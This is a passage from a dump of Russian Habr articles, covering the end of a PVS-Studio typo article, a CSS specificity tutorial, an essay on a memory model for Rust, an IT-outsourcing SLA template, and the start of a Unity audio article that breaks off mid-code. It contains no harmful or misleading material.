2. Занимаясь Copy-Paste, сосредоточьтесь в конце работы. Это связано с "[эффектом последней строки](https://www.viva64.com/ru/b/0260/)", когда в конце написания однотипных блоков текста человек расслабляется и допускает ошибки. Если хочется почитать что-то более научное на эту тему, то предлагаю статью "[Объяснение эффекта последней строки](https://www.viva64.com/ru/b/0485/)".
3. Будьте аккуратны при написании функций, сравнивающих объекты. Эти функции обманчиво просты и провоцируют появление большого количества опечаток. Подробности: "[Зло живёт в функциях сравнения](https://www.viva64.com/ru/b/0509/)".
4. Если код тяжело читать, то и заметить в нём ошибку сложно. Поэтому старайтесь писать код как можно более понятным и легко читаемым. К сожалению, это сложно формально сформулировать, тем более кратко. Этой теме посвящены многие замечательные книги, например, такая как «Совершенный код», написанная Стивом Макконнелом. С практической точки зрения рекомендую уделять внимание стандарту кодирования в вашей компании и не лениться пополнять его хорошими практиками, о которых где-то узнали. И вообще, C++ быстро развивается, поэтому есть смысл регулярно проводить аудит стандарта и обновлять его.
5. Регулярно используйте статический анализатор кода PVS-Studio. В конце концов, все описанные в этой статье опечатки были найдены именно с помощью PVS-Studio. Скачать и попробовать анализатор можно [здесь](https://www.viva64.com/ru/pvs-studio/).
Спасибо всем за внимание, но я ещё не прощаюсь. Скоро будет очередная статья.
[](https://www.viva64.com/en/b/0556/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [Chromium: Typos](https://www.viva64.com/en/b/0556/). | https://habr.com/ru/post/347826/ | null | ru | null |
# Как CSS специфичность работает в браузере
Многие считают CSS сложным. Они придумывают разные оправдания: не хватает способностей понимать CSS или CSS сам по себе плох. Но реальность такова, что люди просто не нашли время, чтобы действительно изучить его. Если вы читаете эту статью, значит заинтересованы в изучении CSS и это здорово!
### Что такое CSS специфичность?
Вы когда-нибудь писали стиль, а он не работает, потом вы добавляете **!important** (или нет), и все же он не работает? Затем вы смотрите на Devtools и понимаете, что другой стиль где-то перекрывает ваш?
В этом и заключается специфичность CSS! Именно так браузер выбирает, какой из конкурирующих селекторов применить к элементу. Когда браузер видит, что два или более селектора совпадают с одним и тем же элементом, и у селекторов есть конфликтующие правила, ему нужен способ выяснить, какое из правил применить к этому элементу. То, как это происходит, называется «значение специфичности CSS».
*Прежде чем мы углубимся в CSS специфичность, запомните эти вещи:*
1. Специфичность CSS важна только тогда, когда несколько селекторов влияют на один и тот же элемент. Браузеру нужен способ выяснить, какой стиль применять к соответствующему элементу, когда существуют противоречивые значения свойств.
2. Когда два или более совпадающих селектора имеют одно и то же значение (вес) специфичности, браузер выбирает «самый последний» совпадающий селектор, который появляется ближе к нижней части списка совпадающих селекторов. Следующий пункт объясняет, что такое «список подходящих селекторов».
3. Браузер формирует «список подходящих селекторов», комбинируя все стили на веб-странице и отфильтровывая те, которые не соответствуют элементу *«currently-being-styled»*. Первые селекторы в таблице стилей находятся вверху списка, а последние селекторы — внизу.
4. Свойство **style** для элемента имеет большее значение специфичности, чем селекторы в таблицах стилей, за исключением случаев, когда есть **!important** в селекторе таблиц стилей.
5. Использование **!important** (что в некоторых случаях считается плохой практикой) изменяет специфичность селектора. Когда два селектора имеют одинаковую специфичность, выигрывает селектор с **!important**. И когда они оба имеют **!important**, «самый последний» селектор выигрывает.
#### Значение специфичности
Теперь мы можем перейти к тому, как браузер определяет значения специфичности селектора.
Специфичность селектора может быть представлена в виде трехзначной строки, разделенной дефисом (или чем угодно): «2–4–1». Первая цифра — это количество присутствующих селекторов ID, вторая — это количество селекторов классов, селекторов атрибутов и псевдоклассов, а третья — количество имеющихся селекторов типов и псевдоэлементов. Например:
```
#red.blue // 1-1-0
#green // 1-0-0
div.yellow#red // 1-1-1
.red.blue.yellow // 0-3-0
```
#### Определение самого “специфичного”
Чтобы определить, какой селектор обладает большей специфичностью, вы можете сравнить каждое из трех значений.
Скажем, у вас есть **1-1-1** и **0-3-0**, как в двух последних примерах, и вам нужно определить, какой из них имеет большую специфичность. Сначала вы сравниваете последние значения **1** и **0**, и в этом случае выигрывает **1**. Это означает, что на данный момент `div.yellow#red` имеет большее значение специфичности… но мы еще не закончили сравнение значений.
Далее сравниваем значения **1** и **3**, **3** выигрывает. На данный момент .red.blue.yellow имеет большее значение специфичности.
Наконец, сравниваем первые значения, **1** и **0**, и выигрывает **1**, так что `div.yellow#red` обладает большей специфичностью, чем `.red.blue.yellow`.
CSS-специфичность селектора и дает хорошее объяснение того, почему никакое количество селекторов классов не может переопределить селектор ID.
#### Небольшие предупреждения
*3 “подводных камня”, о которых нужно знать:*
1. Выше я писал, что второе число в последовательности чисел, состоящей из трех, представляет собой «число селекторов классов, селекторов атрибутов и псевдоклассов». Это верно во всех случаях, кроме случаев, когда это: `:not()` псевдокласс. Когда это `:not()` псевдокласс, мы не считаем его, а просто игнорируем. Но селекторы внутри него не игнорируются, они считаются нормально.
2. CSS специфичность понимает “форму” селектора. Это означает, что когда у вас есть `*[id="yellow"]` и `#yellow`, первый рассматривается как селектор атрибутов.
3. Универсальный селектор `*` сам по себе не засчитывается в значение специфичности селектора. В пункте выше `[id="yellow"]` часть селектора — это то, что на самом деле имеет значение.
Надеюсь, что эта статья проста для понимания и помогла разобраться, что такое CSS специфичность. Теперь вы можете посмотреть на стиль и с легкостью определить, насколько он «специфичен». | https://habr.com/ru/post/436610/ | null | ru | null |
# Какую модель памяти следует использовать в языке Rust?
В этой статье рассматривается несколько альтернативных моделей памяти для языка Rust. Надеюсь, эта дискуссия будет ценна всему сообществу Rust – но, в конце концов, это их язык, поэтому и выбор модели памяти тоже за ними.
Эта дискуссия ведется с позиций принятой в Rust безбоязненной конкурентности. Затравкой для нее послужили различные обсуждения, которые я наблюдал и в которых сам участвовал, работая над этой [серией статей](https://paulmck.livejournal.com/62436.html). Разумеется, мнения у разных членов сообщества тоже разнятся, люди могут обоснованно отстаивать разные варианты решений. Те, кто меня знают, понимают, что эти точки зрения серьезно расходятся с моей. Однако, моя точка зрения продиктована тем, что я давно работаю в условиях максимально возможной производительности, масштабируемости, молниеносного отклика, энергоэффективности, устойчивости и многого другого. В таких условиях определенная перестраховка – выбор не только мудрый, но и жизненно необходимый. В авиации есть примета, что есть пилоты отважные, а есть старые, но отважные пилоты до старости не доживают.
Тем не менее, я рассчитываю, что мой более чем тридцатилетний опыт работы с конкурентностью и моя работа над моделью памяти в C/C++ (безотносительно `memory_order_consume`), а также моя роль ведущего специалиста по поддержке [модели памяти ядра](https://github.com/torvalds/linux/tree/master/tools/memory-model) (LKMM) послужат хорошей отправной точкой, чтобы высказаться о более прозаических задачах, решение которых, я уверен, стремятся поддержать в сообществе Rust.
❯ Но разве в Rust не сформировалась своя модель памяти?
--------------------------------------------------------
В каком-то роде?
В академических кругах высказывались предположения, что модель памяти Rust должна быть основана на аналогичной модели C/C++ — см., например, [здесь](https://plv.mpi-sws.org/rustbelt/rbrlx/). Причем, [в Растономиконе это подтверждается](https://doc.rust-lang.org/nomicon/atomics.html), хотя, автора вышеупомянутого текста это, по-видимому, не особенно радует:
> Rust весьма топорно берет и заимствует из C++20 модель памяти, предназначенную для работы с атомиками. Дело не в том, что такая модель совершенна или легко понятна, нет. Как раз наоборот, эта модель весьма сложна, и в ней известно несколько изъянов. Поэтому мы имеем дело просто с прагматичным признанием факта, что нормально моделировать атомики никто не умеет. Как минимум, в данном случае можно опереться на имеющийся инструментарий и исследования, проведенные при разработке модели памяти C/C++. (эту модель часто называют «C/C++11» или просто «C11». C просто копирует модель памяти C++, а C++11 – первая версия данной модели, которая, однако, претерпела с тех пор несколько багфиксов.)
>
>
>
> Модель памяти C++ в основе своей заключается в следующем. Мы стремимся навести мосты между той семантикой, которой хотим, теми оптимизациями, которых хочет компилятор, и рассогласованным хаосом, в который скатывается аппаратное обеспечение. Мы хотели бы просто писать такие программы, которые делают ровно то, что им приказано – причем, делают быстро. Как бы хорошо было тогда.
Попробую заявить, что оптимизации, проводимые компилятором, вызывают гораздо более серьезный рассогласованный хаос, чем в принципе может учинить аппаратная часть. Но этот довод приводится уже много лет подряд, и я сомневаюсь, что сейчас мы на нем сойдемся.
Если абстрагироваться от этого аргумента, то можно заключить, что Растономикон определённо призывает поискать альтернативы той модели памяти, что существует в C/C++. Посмотрим, что с этим можно поделать.
❯ С чего начать?
-----------------
Давайте для начала избавимся от некоторых кандидатов в такие модели. Предполагается, что Rust нацелен на портируемость, а значит, можно смело исключить любые модели памяти, зависящие от аппаратного обеспечения. Rust все сильнее вовлекается в работу с глубинными уровнями встраиваемых систем – значит, исключаются модели памяти, основанные на динамических языках, в частности, на Java и Javascript. Растет количество моделей, производных от основной модели памяти C/C++, но и их можно представить в рамках этой модели, поэтому такие варианты по отдельности мы рассматривать тоже не будем.
В итоге у нас остается вышеупомянутая модель памяти C/C++, а также, конечно же, LKMM. Вторая – плод амбиций по поводу разработки ядра Linux, имеющихся в сообществе Rust. Поскольку меня особенно интересует ядро Linux, далее мы рассмотрим LKMM, затем перейдем к модели памяти, принятой в C/C++, а завершим пост особой рекомендацией.
❯ Модель памяти, действующая в ядре Linux (LKMM)
-------------------------------------------------
В этом разделе будут рассмотрены различные аспекты LKMM, сначала наиболее пугающие, а далее вполне повседневные.
На самом деле [управляющие зависимости](https://paulmck.livejournal.com/63151.html) – не самая безопасная часть LKMM. Будучи ведущим специалистом по поддержке LKMM, я добиваюсь, чтобы люди пользовались управляющими зависимостями – чтобы не просто их припугнуть, а буквально ввергнуть в ужас. Управляющие зависимости хрупкие, поэтому компилятору ничего не стоит их нарушить, ведь он совершенно не учитывает таких зависимостей. Следовательно, до поры до времени управляющие зависимости должны быть исключены из любой модели памяти Rust. Возможно, придет день, и мы научимся внятно сообщать компилятору назначение управляющих зависимостей, но пока этот день не настал.
[Адресные зависимости и зависимости данных](https://paulmck.livejournal.com/63316.html), носителями которых являются указатели, также сопряжены с некоторым риском, но они оставляют компилятору (не учитывающему зависимостей) гораздо меньше пространства, чтобы что-нибудь поломать. Поэтому работать с ними совсем не так страшно, как с управляющими зависимостями, но определенный страх – сохраняется. Тем не менее, адресные зависимости и зависимости данных чаще всего используются в сочетании с механизмом RCU (чтение-копирование-удаление), а нам пока не известен надежный способ выражать все варианты использования RCU в рамках принятой в Rust модели владения. Поэтому из модели памяти Rust придется исключить и адресные зависимости, и зависимости данных, пока не придет время, и мы не научимся обрабатывать важные варианты использования RCU, либо не найдется какой-нибудь четкий и насущный вариант, в котором явно потребуется прибегать к адресным зависимостям и зависимостям данных. Со временем будет все более целесообразно допускать управляющие зависимости и зависимости данных в режиме Rust unsafe, если в Rust активизируется использование RCU. При этом необходимо держать в уме, что такие вещи как утилизация на основе эпох (EBR) являются конкретными классами реализаций механизма RCU.
На первый взгляд кажется совершенно оправданным поддержать использование `READ_ONCE()` и `WRITE_ONCE()` в создаваемом на будущее Rust-кодом для ядра Linux, но этот пост посвящен языку Rust в целом, а не только Rust в ядре Linux. Причем, только зависимости (управляющие, адресные и касающиеся данных) препятствуют использованию `READ_ONCE()` и `WRITE_ONCE()` в ядре Linux – это факт. Они провоцируют поведение [OOTA](https://paulmck.livejournal.com/63517.html) (буквально «появление значений из воздуха»). Кроме того, эти операции (наряду с принятыми в ядре Linux неупорядоченными атомарными операциями «чтение-изменение-запись» (RMW)) реализованы так, чтобы прямо не позволить компилятору предпринимать оптимизации с выносом инвариантов, поскольку в противном случае порядок следования таких операций может измениться. Более того, во всех известных мне базовых аппаратных моделях памяти сохраняется порядок зависимостей. Следовательно, можно ожидать, что эти неупорядоченные операции вполне могут войти в состав модели памяти Rust.
Одно важное достоинство модели памяти – ее инструментарий для анализа конкурентных фрагментов кода, и, если этот инструментарий призван исключить OOTA-подобное поведение, то, к сожалению, абсолютно необходимо, чтобы данный инструментарий «понимал» зависимости. Кроме того, выше мы уже исключили такие зависимости из модели памяти Rust.
Следовательно, в модели памяти Rust нужно ограничиться поддержкой лишь тех атомарных операций ядра Linux, которые обеспечивают упорядочивание. Это будут строгие атомарные операции «чтение-изменение-запись» (RMW) с возвратом значений, и вместе с ними будут применяться варианты `RMW _acquire()` и `_release()`. Также может быть целесообразно разрешить комбинации неупорядоченных RMW-операций в сочетании с барьерными инструкциями: например, `atomic_inc()` за которой идет `smp_mb__after_atomic()`. Но было бы еще рациональнее обернуть такую комбинацию в единый примитив, доступный из Rust. Сделав все это, мы получим примитив Rust, который уже не будет неупорядоченным и, следовательно, может быть включен в модель памяти Rust как некая упорядочиваемая сущность. В качестве альтернативы можно было бы переадресовать неупорядоченные атомики в режим Rust `unsafe`.
Сложно представить в Rust полезную модель памяти, в которой были бы исключены блокировки.
Следовательно, исходя из LKMM, приходим к модели, поддерживающей упорядоченные атомарные операции и блокировки и, возможно, также включающую неупорядоченные атомики в режиме unsafe.
❯ Модель памяти C/C++
----------------------
В этом разделе, напротив, будем исходить из модели памяти, принятой в C/C++.
Поскольку обращения к `memory_order_relaxed` могут приводить к возникновению результатов «из воздуха», такие обращения, по-видимому, не сочетаются с безбоязненной конкурентностью, завяленной в Rust в качестве цели. Фактически, на практике такие результаты не могут возникать ни в одной из известных мне реализаций, но безбоязненная конкурентность требует точных инструментов, а такие инструменты должны исключать даже теоретические шансы на возникновение результатов из воздуха. Еще один разумный подход допускал бы использование `memory_order_relaxed` только в небезопасном (`unsafe`) коде Rust.
Операция `memory_order_consume` полезна, прежде всего, в сочетании с RCU. Кроме того, во всех известных мне реализациях `memory_order_consume` просто доводится до `memory_order_acquire`. Следовательно, кажется излишним включать в модель памяти Rust `memory_order_consume`. Как и ранее, целесообразной альтернативой кажется допуск ее использования только в небезопасном (`unsafe`) коде Rust.
Напротив, `memory_order_acquire`, `memory_order_release` и `memory_order_acq_rel` легко поддаются анализу и десятилетиями активно используются на практике. Хотя, излюбленный вариант упорядочивания памяти `memory_order_seq_cst` (последовательно согласованный) бывает [сложно анализировать](https://plv.mpi-sws.org/scfix/), в некоторых практических случаях обеспечиваемый им строгий порядок абсолютно необходим. В том числе, это касается удручающе большой доли конкурентных алгоритмов, опубликованных как академическими, так и отраслевыми исследователями. Кроме того, десятки лет насчитывают традиция доказательств и инструментарий для обработки последовательной согласованности, невзирая на все сложности. Следовательно, использование всех этих четырех вариантов упорядочивания должно допускаться из безопасного кода Rust.
Беря за основу модель памяти C/C++, как и в случае с LKMM, сложно представить полезную модель памяти Rust, которая исключала бы блокировки.
Таким образом, исходя из модели памяти на базе C/C++, также приходим к модели, поддерживающей как упорядоченные атомарные операции, так и блокировки, возможно, плюс неупорядоченные атомарные операции в режиме `unsafe`.
❯ Рекомендация
---------------
Имеем: начав с LKMM, мы пришли примерно к тому же результату, что и начав с модели памяти, основанной на C/C++. Следовательно, направление в целом верное. Почему «примерно»? Потому что есть тонкие отличия, которые хорошо просматриваются при [сравнении стандартов C и C++ с LKMM](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2020/p0124r7.html).
Вот как можно было бы отреагировать на эту ситуацию: подробно проработать эти модели памяти, один тупиковый случай за другим – и в каждом из этих случаев, отныне и навеки, выбирать альтернативу на Rust. Возможно, лучше подойдет другой вариант: выбрать одну модель и приспосабливать ее по мере необходимости в каждой реальной ситуации, как только таковая возникнет. В настоящее время гораздо больше живых проектов, в которых применяется модель памяти C/C++, чем проектов по модели LKMM. Поэтому, несмотря на мое высокое положение в цеху по поддержке LKMM, я, скрепя сердце, рекомендую поступать следующим образом, опираясь на модель памяти C/C++:
1. Блокировки допускаются как в безопасном, так и в небезопасном режиме.
2. Атомарные операции, в которых используются `memory_order_acquire`, `memory_order_release`, `memory_order_acq_rel`, и `memory_order_seq_cst` могут использоваться как в безопасном, так и в небезопасном режиме.
3. Атомарные операции, использующие `memory_order_relaxed` и `memory_order_consume`, могут использоваться только в небезопасном режиме.
4. Все атомарные операции в коде Rust должны помечаться; то есть, в Rust следует избегать принятой в C/C++ практики интерпретировать непомеченное упоминание атомарной переменной как обращение `memory_order_seq_cst` к этой переменной. Требуя таких пометок, мы получаем возможность обращаться к конкурентно затрагиваемым разделяемым переменным, которые сразу идентифицируются. Кроме того, выбор любого значения `memory_order` по умолчанию становится гораздо менее острым.
Все это обеспечивает явную поддержку операций и вариантов упорядочивания, которые давно и активно используются, и для которых давно существуют аналитические инструменты. Кроме того, такой подход обеспечивает условную поддержку тех операций и вариантов упорядочивания, которые также давно и активно используются. Но эта тема заслуживает точного и полного анализа и выходит за рамки данной статьи.
❯ Другие варианты
------------------
Можно утверждать, что у `memory_order_relaxed` также есть много простых вариантов использования – за одним исключением: конструирование распределенных счетчиков. Однако, учитывая, [как сложно проверить весь спектр таких вариантов использования](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2020/p2055r0.pdf), режим `unsafe` в настоящее время представляется самым беспроигрышным. Если принесут плоды какие-то из работ, ведущихся сейчас, призванных обеспечить более прямолинейную проверку обращений к `memory_order_relaxed`, то, возможно, `memory_order_relaxed` будут допущены в Rust и в безопасном режиме.
Наконец, есть и такая точка зрения, что `memory_order_consume` следует полностью исключить, а не просто передислоцировать в небезопасный режим. Однако в Rust уже есть такие библиотеки, во внутренней организации которых предусмотрена работа с RCU. Кроме того, возможность помечать обход указателей RCU должна пригодиться, если в Rust когда-нибудь станут полностью поддерживаться адресные зависимости и зависимости данных.
В противовес вышесказанному, четыре других члена `memory_order enum` активно используются, и их анализ – в порядке вещей. Поэтому разумно разрешить использование `memory_order_acquire`, `memory_order_release`, `memory_order_acq_rel` и `memory_order_seq_cst` в безопасном коде Rust.
❯ К чему это приведет в ядре Linux?
------------------------------------
Оказывается, изменится не так много.
Пожалуйста, не забывайте, что в настоящее время ядро Linux взаимодействует со всем спектром моделей памяти, используемых каким угодно кодом пользовательского пространства, написанным на каких угодно языках, и этот код может при работе использовать широкий спектр моделей памяти с аппаратной основой. Любые необходимые корректировки в настоящее время обрабатываются в коде, специфичном для конкретных архитектур — например, в коде системных вызовов или в коде, обрабатывающем вход в исключения и выход из них. Строгое упорядочивание также предоставляется на более глубоких уровнях ядра, за одним исключением: код переключения контекста, который предусматривает полное упорядочивание, когда процессы переходят с одного ядра ЦП на другое.
Оказывается, что для кода Rust в Linux предусмотрены обертки вокруг любого кода на C, который он мог бы вызывать, и именно посредством этих оберток Rust пользуется теми частями ядра Linux, которые написаны не на Rust. Следовательно, в этих обертках будут содержаться вызовы к любым примитивам упорядочивания памяти, которые могут потребоваться в любой конкретный момент на протяжении всей эволюции моделей памяти в Rust.
Но так ли необходимо, чтобы собственная модель памяти определялась в Rust именно сейчас?
Разумеется, это не мне решать.
Но этот ответ несколько лукав, потому что чем дольше сообщество Rust выжидает, тем больше нынешний «импровизированный» выбор (вся модель памяти C/C++ целиком) превращается в долгосрочный вариант. Перенося на Rust явно проблемные моменты модели памяти C/C++, мы понимаем, что именно эти моменты, скорее всего, будут меняться.
Поэтому я рекомендую взять на вооружение в безопасном режиме те элементы модели памяти C/C++, которые явно не вызывают проблем, а остальные оставить для небезопасного режима. Такой подход позволил бы писать на Rust прозаические конкурентные алгоритмы и при этом не сомневаться, что получившийся у них код сохранит работоспособность и в будущем. Тем же, кто вынужден действовать в более опасных условиях, такой подход позволит заключить не самый надежный код в блоки `unsafe`, чтобы этот код воспринимался с должным скептицизмом и вниманием.
Но, опять же, это решение принимать не мне, а сообществу Rust.
[](https://timeweb.cloud/?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-6-rub) | https://habr.com/ru/post/697882/ | null | ru | null |
# Как мы писали SLA
Всем привет. Я с моими коллегами работали(ем) в небольшой аутсорсинговой компании. Таких мелких компаний, предоставляющих услуги по обслуживанию инфраструктуры достаточно много, да и почти каждый Системный администратор или ИТ менеджер задумывался, а не начать ли мне подобный бизнес? Одному ли, или с партнером? Вопросов на этом этапе возникает много и я со своей позиции могу поделиться опытом по созданию подобной «конторы».
Начать хотелось бы с конца, ну или почти с конца — с написания [SLA](http://krylov.lib.ru/SLA.html). На самом деле SLA просто необходима, даже если вы начинаете работать один и берете себе клиентов на фриланс. SLA сможет помочь вам мотивированно отказывать симпатичной секретарше в просьбе починить очередной чайник. Я конечно же утрирую, но истина не так далека от примера с чайником. Если вы хотите предоставлять конвеерные услуги, т.е. такие, которые бы были идентичны от клиента к клиенту, то SLA вам в руки. Его можно называть как угодно: доп. соглашением, соглашением уровня сервиса или просто приложением к договору.
Собственно мы столкнулись с задачей по написанию SLA, когда поняли, что клиенты недовольны тем, что мы не являемся по щелчку пальца и не решаем задачи по мановению волшебной палочки. Твердо решив узаконить отношения с клиентами был составлен юридически «правильный» договор и некое подобие SLA. Конечно многие ИТ менеджеры начнут кидать в меня помидоры, но все же, то что мы создали имеет право называться SLA, т.к. несет аналогичную смысловую нагрузку.
Итак поехали:
`1. Предмет соглашения (здесь все предельно просто)
ООО "Зеленые тапочки", именуемое в дальнейшем «Заказчик», в лице генерального директора Козюпы В.А., действующего на основании Устава, с одной стороны, и ООО «Рога и копыта», именуемое в дальнейшем «Исполнитель», в лице генерального директора Пупкина А.С., действующего на основании Устава, с другой стороны, заключили настоящее Соглашение об уровне предоставляемого сервиса в рамках действующего Договора ИТ-аутсорсинга. Настоящий документ определяет критерии оценки качества услуг и их стоимости, оказываемых в соответствии с Договором, и является неотъемлемой частью Договора. Данное Соглашение отменяет заключенные ранее соглашения об уровне предоставляемого сервиса и стоимости работ, если таковые имели место.`
Обговорили Рабочее время, которое считается общепринятым:
`2. Рабочее время
Стороны договорились о том, что рабочим временем является промежуток с 9:00 до 18:00 во все дни, кроме субботы, воскресенья и общегосударственных праздничных дней.`
Теперь описываем метрики, которые будут использоваться в качестве основополагающих критериев в оценке качества предоставляемых услуг:
`3. Метрики сервиса
Стороны договорились об использовании следующих метрик уровня сервиса:
3.1 Время реакции на обращение пользователя – время, прошедшее с момента поступления и регистрации запроса на обслуживание (сообщение пользователя о проблеме) до момента фактического начала работ по факту обращения. Временем поступления обращения считается момент поступления электронного письма на адрес support@pupkinservice.ru, регистрации сообщения через онлайн службу регистрации инцидентов, предоставленную Исполнителем, или телефонного звонка в службу технической поддержки с сообщением о проблеме.
3.2 Время решения проблемы – время, прошедшее с момента фактического начала работ над проблемой до закрытия заявки. Временем начала работы над проблемой считается момент отправки Заказчику уведомления о начале работ. Временем решения проблемы считается момент отправки Заказчиком сообщения, подтверждающего закрытие заявки. Подтверждение или опровержение выполнения работ должно быть отправлено Заказчиком в течение 1 часа с момента поступления от Исполнителя уведомления о выполнении заявки на обслуживание. В противном случае заявка считается закрытой автоматически, и временем закрытия заявки является момент отправки уведомления о завершении работ. Уведомления о начале и завершении работ направляются Исполнителем представителю Заказчика, от чьего имени поступила заявка на обслуживание, по электронной почте телефону или через Службу Онлайн Заявок.
3.3 Время жизни инцидента – суммарное время, прошедшее с момента поступления и регистрации обращения, до момента закрытия заявки на обслуживание.`
Теперь те самые уровни сервиса, о которых мы заключаем соглашение:
`4. Уровни сервиса
Сервис, предоставляемый Исполнителем, делится на уровни в соответствии с установленными значениями метрик:
Табл. 1.
| | |
| --- | --- |
|
**Уровень критичности** | **Описание инцидента** |
| Аварийный | * Полный отказ информационной системы в результате технической или эксплуатационной аварии;
* Отказ критических сервисов при невозможности удаленного решения проблемы;
* Частичный или полный отказ сети, в результате которого выведены из строя более 25 % рабочих станций;
* Полный отказ системы электропитания или аккумуляторного питания;
* Невозможность загрузки серверов и сервисов в результате перезагрузки или аппаратного сбоя;
|
| Средний | * Выход из строя одного из резервированных или дублирующих элементов или одного из нескольких элементов одинаковой функциональности;
* Частичное отсутствие входящей и исходящей связи;
* Отсутствие связи или канала интернет из-за неуплаты по счетам;
* Отказ критических сервисов и служб при возможности удаленного решения проблемы;
|
| Низкий | * Неработоспособность отдельных ПК и сервисов;
* Программные и аппаратные неисправности, не влияющие на работу Информационной системы в целом;
* Запросы на установку/удаление ПО, модификацию аппаратного обеспечения.
* Прочие мелкие и незначительные операции;
|
В соответствии с классификацией, каждому виду инцидентов назначается время реакции, и время устранения в рабочих часах. Ответственность Исполнителя определена в рублях, за каждый факт несоблюдения нормативов метрик:
Табл.2.
| | | | |
| --- | --- | --- | --- |
|
**Наименование уровня сервиса** | **Наличие удаленного доступа** | **Отсутствие удаленного доступа** | **Неустойка за неисполнение нормативов. (руб./час)** |
| **Время реакции** | **Время устранения** | **Время реакции** | **Время устранения** |
| Аварийный | 20 минут | 1 - 3 час | 30 минут | 1,5 - 5 часа | 300 |
| Средний | 30 минут | 2 – 4 часа | 40 минут | 3,5 - 5 часа | 200 |
| Низкий | 1 час | По согласованию | 1 час | По согласованию | 150 |`
Далее описали перечень мероприятий, которые Исполнитель обязуется выполнять (не выполнять) в рамках договора и которые попадают (не попадают) под метрики:
`5. Перечень мероприятий
по технической поддержке ИТ-инфраструктуры Заказчика
Исполнитель выполняет по поручению Заказчика следующие мероприятия, связанные с обслуживанием и поддержкой существующей ИТ-инфраструктуры:
• Оказание консультаций пользователям ИС Заказчика, решение проблем пользователей, связанных с функционированием ИС Заказчика и ее составных частей;
• Поддержание работоспособности и доступности основных сетевых служб заказчика на уровне, указанном в данном соглашении.
• Проведение мониторинга элементов и подсистем ИС заказчика, а также профилактических работ, направленных на поддержание работоспособности ИС заказчика в целом;
• Осуществление резервного копирования (в случае предоставления Заказчиком соответствующих программных и аппаратных средств, в распоряжение Исполнителя);
• Информирование Заказчика о необходимости модернизации ИС и ее элементов, а также замены вышедших из строя элементов;
• Консультации по приобретению вычислительной и копировально-множительной техники для нужд Заказчика;
• Поставка компьютерной, копировально-множительной и офисной техники по ценам Исполнителя в соответствии с требованиями Заказчика;
• Установка обновлений системы 1С Предприятие версии ______.(в случае предоставления Заказчиком лицензионных идентификаторов доступа к серверам обновления указанных Программных продуктов).
• Сопровождение продуктов 1С на уровне администрирования ресурсов системы и Базы данных.
• Установка обновлений информационно-правовой системы ___________ (в случае предоставления Заказчиком лицензионных идентификаторов доступа к серверам обновления указанных Программных продуктов).
К работам по осуществлению технической поддержки не относятся работы, связанные с частичным или полным выполнением должностных обязанностей сотрудников Заказчика. В частности, сотрудникам Исполнителя запрещено выполнять по поручению сотрудников Заказчика такие работы как:
• Создание, редактирование, форматирование и прочая работа с документами с использованиями офисных приложений типа MS Word, MS Excel, MS PowerPoint и подобных им;
• Создание и редактирование графических, аудио и видеофайлов, флэш-презентаций и прочих медиа-файлов;
• Редактирование наполнения и верстка web-сайтов, вчт. с использованием CMS;
• Написание и отправка сообщений по электронной почте, ведение переписки от имени сотрудников Заказчика;
• Поиск информации в сети Интернет;
• Размещение файлов на FTP-серверах и скачивание файлов;
• Отправка факсов;
• Распечатывание и сканирование документов, изготовление ксерокопий документов;
• Ремонт оборудования, не относящегося к ИС заказчика;
• Выполнение погрузочно-разгрузочных работ;
• Выполнение курьерских поручений, кроме передачи Исполнителю документов, связанных с исполнением настоящего договора.`
Ну и последним штрихом пункт с ценами, но тут уже рассчитывайте на персональную жадность своих коллег.
Нам подобного соглашения было вполне достаточно для того, чтобы оградить себя от непонимания со стороны заказчика и его сотрудников. Данные приведенные здесь это абстрактный набор услуги метрик и не является единственно правильным, он просто отображает направления развития SLA как такового в небольших аутсорсинговых компаниях. | https://habr.com/ru/post/128927/ | null | ru | null |
# Работа с аудио в Unity — трассировка и облачные вычисления
Всем привет! Меня зовут Илья, я из команды TinyPlay. В этой статье хотел бы поделиться тем, как мы работаем с аудио. Надеюсь, для вас эта статья будет полезной.
Архитектура аудио
-----------------
Проект состоит из 3-х составляющих: звуки (шаги, атмосфера, противники, оружие и многое многое другое), музыка (атмосферная, экшн-музыка, дополнительное сопровождение) и озвучка (персонажи, аудио-дневники, громокоговорители). Архитектура аудио разделена следующим образом:
**Звуки:**
* Окружающая среда и все что с ней связано (листва, ветер, скрипы деревьев, ворот и пр.);
* Звуки противников (атака, получение урона, обнаружение, смерть);
* Звуки шагов для каждой из поверхностей (в общей сложности более 200 звуков под разные физические материалы);
* Хоррор-звуки (вызываемые по триггерам);
* Оружие (стрельба, перезарядка и пр.);
* Звуки коллизий для физических объектов;
* Звуки эффектов (взрывы, попадания, искры и пр.);
* Другие звуки;
**Музыка:**
* Атмосферная фоновая музыка;
* Экшн музыка для определенных сцен;
* Напряженная музыка;
* Музыка в меню;
**Озвучка:**
* Озвучка героев на разных языках;
* Озвучка аудио-дневников;
* Озвучка коммутаторов и другая озвучка;
Настройка компрессии для музыки и звуков различная. Музыка - стримится, большие звуки грузятся и распаковываются перед загрузкой сцены, мелкие звуки - налету.
Работа с музыкой и звуками. Микширование
----------------------------------------
Для достижения плавных переходов, различных звуковых областей и работе с компрессией - мы используем стандартный микшер Unity. Для плавных переходов - DOTween.
**Пример того, как плавно переходит музыка в игре:**
```
isSwitchingMusic = true;
MasterMixer.DOSetFloat("MainMusic", -80f, 2f);
MasterMixer.DOSetFloat("SecondMusic", 0f, 2f);
```
Микшеры также переключаются через особые Volume-зоны, которые меняют активный микшер или его настройки под окружающую среду (к примеру, чтобы в подвале был эффект эхо).
**Пример работы с обнаружением материала террэйна:**
```
namespace TinyPlay.Components
{
using UnityEngine;
public class TerrainDetector
{
private TerrainData terrainData;
private int alphamapWidth;
private int alphamapHeight;
private float[,,] splatmapData;
private int numTextures;
public TerrainDetector()
{
terrainData = Terrain.activeTerrain.terrainData;
alphamapWidth = terrainData.alphamapWidth;
alphamapHeight = terrainData.alphamapHeight;
splatmapData = terrainData.GetAlphamaps(0, 0, alphamapWidth, alphamapHeight);
numTextures = splatmapData.Length / (alphamapWidth * alphamapHeight);
}
private Vector3 ConvertToSplatMapCoordinate(Vector3 worldPosition)
{
Vector3 splatPosition = new Vector3();
Terrain ter = Terrain.activeTerrain;
Vector3 terPosition = ter.transform.position;
splatPosition.x = ((worldPosition.x - terPosition.x) / ter.terrainData.size.x) * ter.terrainData.alphamapWidth;
